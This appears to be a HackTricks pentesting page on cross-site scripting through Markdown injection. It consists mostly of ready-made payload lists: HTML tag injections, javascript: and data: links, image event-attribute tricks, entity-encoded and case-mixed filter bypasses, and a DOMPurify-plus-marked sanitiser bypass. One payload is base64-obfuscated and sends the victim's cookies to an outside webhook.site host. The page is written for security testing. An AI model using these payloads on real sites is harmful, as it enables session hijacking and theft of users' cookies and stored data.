HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
๐Ÿ•ธ
Pentesting Web
XSS in Markdown
If you have the chance to inject code in markdown, there are a few options you can use to trigger a XSS when the code gets interpreted.

HTML tags

The most common way to get XSS in markdown is to inject common HTML tags that execute javascript, because several makdown interpreters will also accept HTML
1
<!-- XSS with regular tags -->
2
<script>alert(1)</script>
3
<img src=x onerror=alert(1) />
Copied!
You can find more examples in the main XSS page of hacktricks.
If HTML tags aren't an option you could always try to play with markdown syntax:
1
<!-- markdow link to XSS, this usually always work but it requires interaction -->
2
[a](javascript:prompt(document.cookie))
3
โ€‹
4
<!-- Other links attacks with some bypasses -->
5
[Basic](javascript:alert('Basic'))
6
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
7
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
8
[URL](javascript://www.google.com%0Aalert('URL'))
9
[In Quotes]('javascript:alert("InQuotes")')
10
[a](j a v a s c r i p t:prompt(document.cookie))
11
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
12
[a](javascript:window.onerror=alert;throw%201)
Copied!

Img event syntax abuse

1
![Uh oh...]("onerror="alert('XSS'))
2
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
3
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
4
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
Copied!

HTML Sanitiser Markdown Bypass

The following code is sanitising HTML input and then passing it to the markdown parser, then, XSS can be triggered abusing miss-interpretations between Markdown and DOMPurify
1
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
2
<script src="https://cdn.jsdelivr.net/npm/[email protected]/lib/marked.umd.min.js"></script>
3
<script>
4
const qs = new URLSearchParams(location.search);
5
if (qs.get("content")?.length > 0) {
6
document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
7
}
8
</script>
Copied!
Payloads example:
1
<div id="1
2
โ€‹
3
![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
4
-----------------------------------------------
5
<a title="a
6
โ€‹
7
<img src=x onerror=alert(1)>">yep</a>
8
------------------------------------------------
9
[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>
10
----------------------------------------------
11
[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#'></p>)
12
----------------------------------------------
13
`<p x="`<img src=x onerror=alert(1)>"></p>
Copied!

Fuzzing

1
<!--
2
Fuzzing examples from
3
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
4
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
5
-->
6
โ€‹
7
[a](javascript:prompt(document.cookie))
8
[a](j a v a s c r i p t:prompt(document.cookie))
9
![a](javascript:prompt(document.cookie))\
10
<javascript:prompt(document.cookie)>
11
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
12
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
13
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
14
[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
15
![a'"`onerror=prompt(document.cookie)](x)\
16
[citelol]: (javascript:prompt(document.cookie))
17
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
18
[test](javascript://%0d%0aprompt(1))
19
[test](javascript://%0d%0aprompt(1);com)
20
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
21
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
22
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
23
[clickme](vbscript:alert(document.domain))
24
_http://[email protected] style=background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAABACAMAAADlCI9NAAACcFBMVEX/AAD//////f3//v7/0tL/AQH/cHD/Cwv/+/v/CQn/EBD/FRX/+Pj/ISH/PDz/6Oj/CAj/FBT/DAz/Bgb/rq7/p6f/gID/mpr/oaH/NTX/5+f/mZn/wcH/ICD/ERH/Skr/3Nz/AgL/trb/QED/z8//6+v/BAT/i4v/9fX/ZWX/x8f/aGj/ysr/8/P/UlL/8vL/T0//dXX/hIT/eXn/bGz/iIj/XV3/jo7/W1v/wMD/Hh7/+vr/t7f/1dX/HBz/zc3/nJz/4eH/Zmb/Hx//RET/Njb/jIz/f3//Ojr/w8P/Ghr/8PD/Jyf/mJj/AwP/srL/Cgr/1NT/5ub/PT3/fHz/Dw//eHj/ra3/IiL/DQ3//Pz/9/f/Ly//+fn/UFD/MTH/vb3/7Oz/pKT/1tb/2tr/jY3/6en/QkL/5OT/ubn/JSX/MjL/Kyv/Fxf/Rkb/sbH/39//iYn/q6v/qqr/Y2P/Li7/wsL/uLj/4+P/yMj/S0v/GRn/cnL/hob/l5f/s7P/Tk7/WVn/ior/09P/hYX/bW3/GBj/XFz/aWn/Q0P/vLz/KCj/kZH/5eX/U1P/Wlr/cXH/7+//Kir/r6//LS3/vr7/lpb/lZX/WFj/ODj/a2v/TU3/urr/tbX/np7/BQX/SUn/Bwf/4uL/d3f/ExP/y8v/NDT/KSn/goL/8fH/qan/paX/2Nj/HR3/4OD/VFT/Z2f/SEj/bm7/v7//RUX/Fhb/ycn/V1f/m5v/IyP/xMT/rKz/oKD/7e3/dHT/h4f/Pj7/b2//fn7/oqL/7u7/2dn/TEz/Gxv/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j9kFjVN28wsJvxK9VFQDGzjVF7d9+9z1ARJIHyMxRQNo2SDn2408HBsY5njZJPcFbTomJo59H5HIAUmIDpPQXVGS0igfg7detBqptv/0ulwfIbbQB8kchVtNmiQsQUO7Qru37jpQX7WmS/6YZPXP+LPprbVgC0ul0Op1Op9Pp/gYrAa7fWhG7QQAAAABJRU5ErkJggg==);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
25
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
26
[text](http://danlec.com " [@danlec](/danlec) ")
27
[a](javascript:this;alert(1))
28
[a](javascript:this;alert(1&#41;)
29
[a](javascript&#58this;alert(1&#41;)
30
[a](Javas&#99;ript:alert(1&#41;)
31
[a](Javas%26%2399;ript:alert(1&#41;)
32
[a](javascript:alert&#65534;(1&#41;)
33
[a](javascript:confirm(1)
34
[a](javascript://www.google.com%0Aprompt(1))
35
[a](javascript://%0d%0aconfirm(1);com)
36
[a](javascript:window.onerror=confirm;throw%201)
37
[a](javascript:alert(document.domain&#41;)
38
[a](javascript://www.google.com%0Aalert(1))
39
[a]('javascript:alert("1")')
40
[a](JaVaScRiPt:alert(1))
41
![a](https://www.google.com/image.png"onload="alert(1))
42
![a]("onerror="alert(1))
43
</http://<?php\><\h1\><script:script>confirm(2)
44
[XSS](.alert(1);)
45
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
46
[ ](http://a?p=[[/onclick=alert(0) .]])
47
[a](javascript:new%20Function`al\ert\`1\``;)
48
[XSS](javascript:prompt(document.cookie))
49
[XSS](j a v a s c r i p t:prompt(document.cookie))
50
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
51
[XSS](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
52
[XSS]: (javascript:prompt(document.cookie))
53
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
54
[XSS](javascript://%0d%0aprompt(1))
55
[XSS](javascript://%0d%0aprompt(1);com)
56
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
57
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
58
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
59
[XSS](vbscript:alert(document.domain))
60
[XSS](javascript:this;alert(1))
61
[XSS](javascript:this;alert(1&#41;)
62
[XSS](javascript&#58this;alert(1&#41;)
63
[XSS](Javas&#99;ript:alert(1&#41;)
64
[XSS](Javas%26%2399;ript:alert(1&#41;)
65
[XSS](javascript:alert&#65534;(1&#41;)
66
[XSS](javascript:confirm(1)
67
[XSS](javascript://www.google.com%0Aprompt(1))
68
[XSS](javascript://%0d%0aconfirm(1);com)
69
[XSS](javascript:window.onerror=confirm;throw%201)
70
[XSS](๏ฟฝjavascript:alert(document.domain&#41;)
71
![XSS](javascript:prompt(document.cookie))\
72
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
73
![XSS'"`onerror=prompt(document.cookie)](x)\
Copied!